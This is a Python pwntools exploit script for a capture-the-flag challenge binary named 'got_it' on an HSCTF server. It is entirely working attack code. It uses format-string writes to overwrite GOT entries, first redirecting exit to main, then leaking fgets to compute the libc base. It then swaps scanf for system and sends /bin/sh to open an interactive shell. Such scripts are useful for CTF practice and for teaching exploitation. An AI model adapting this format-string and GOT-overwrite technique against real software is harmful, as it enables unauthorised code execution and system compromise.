text: #!/usr/bin/python3
  
  from pwn import *
  import time, os, sys
  
  if len(sys.argv) == 2 and sys.argv[1] == 'local':
  	# patch out code that slows down local exploit dev
  	binary = ELF('got_it')
  	# remove sleep/alarm swap
  	for i in range(0x4012a8,0x4012cc):
  		binary.p8(i,0x90)
  	# remove sleep
  	for i in range(0x4012f1,0x4012f6):
  		binary.p8(i,0x90)
  	binary.save('got_it_patched')
  	os.chmod('got_it_patched',0o755)
  
  	p = process('./got_it_patched')
  	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  else:
  	p = remote('pwn.hsctf.com', 5004)
  	libc = ELF('libc-database/db/libc6_2.27-3ubuntu1_amd64.so')
  
  '''
  # libc-database/find fgets b20 | grep -v 386
  http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_amd64.deb (id libc6_2.27-3ubuntu1_amd64)
  '''
  
  # write-what-where 64 bit address x 16 bit words, format string
  def www64x16fs(what,where,base,count):
  	words = {}; qq = 0
  	for i in range(count):
  		v = (what >> (i*16)) & 0xFFFF
  		words[where + i*2] = v
  		if v == 0:
  			qq += 1
  
  	n=0; q=base+(2*count)-qq; fstring = b''
  	for where, what in sorted(words.items(), key=lambda x: x[1]):
  		if(what-n) > 0:
  			fstring += b'%' + str(what-n).rjust(6,'0').encode() + b'x'
  		fstring += b'%' + str(q).rjust(4,'0').encode() + b'$hn'
  		n += (what-n)
  		q += 1
  
  	for where, what in sorted(words.items(), key=lambda x: x[1]):
  		fstring += p64(where)
  
  	return fstring
  
  # read-where->what 64 bit address, format string
  def rww64fs(where,base):
  	fstring  = b'%' + str(base+1).rjust(5,'0').encode() + b'$s'
  	fstring += p64(where)
  	return fstring
  
  
  binary = ELF('got_it')
  t=time.time()
  
  
  # 1st pass, set exit -> main to get infinite passes
  
  print('1st pass...',end='')
  p.recvuntil('Give me sumpfink to help me out!\n')
  p.sendline(www64x16fs(binary.symbols['main'],binary.got['exit'],8,3))
  print(time.time()-t)
  
  
  # 2nd pass, leak libc address from the got using fgets (setup() does not mess with fgets)
  # note: 1st and 2nd pass can be combined if you like
  
  print('2nd pass...')
  p.recvuntil('Give me sumpfink to help me out!\n')
  p.sendline(rww64fs(binary.got['fgets'],8))
  p.recvuntil('I don\'t think "')
  _ = p.recv(6)
  fgets = u64(_ + b'\x00\x00')
  print('  fgets:',hex(fgets))
  baselibc = fgets - libc.symbols['fgets']
  print('  libc: ',hex(baselibc))
  p.send('\n\n')
  print('2nd pass...',end='')
  print(time.time()-t)
  
  
  # 3rd pass, scanf (its really printf, see setup()) -> system
  
  print('3rd pass...',end='')
  p.recvuntil('Give me sumpfink to help me out!\n')
  p.sendline(www64x16fs(baselibc + libc.symbols['system'],binary.got['__isoc99_scanf'],8,3))
  p.recvuntil('Unterminated quoted string')
  p.send('\n\n')
  print(time.time()-t)
  
  
  # 4th pass, now that scanf (really printf, again see setup()), is system, we'll get some errors, but no fail
  # at the prompt put in /bin/sh and that will get a shell
  
  print('4th pass...',end='')
  p.recvuntil('Give me sumpfink to help me out!\n')
  p.sendline("/bin/sh")
  p.recvuntil('Unterminated quoted string')
  print(time.time()-t)
  print("\nYOU'RE IN!!!\n")
  
  p.interactive()
  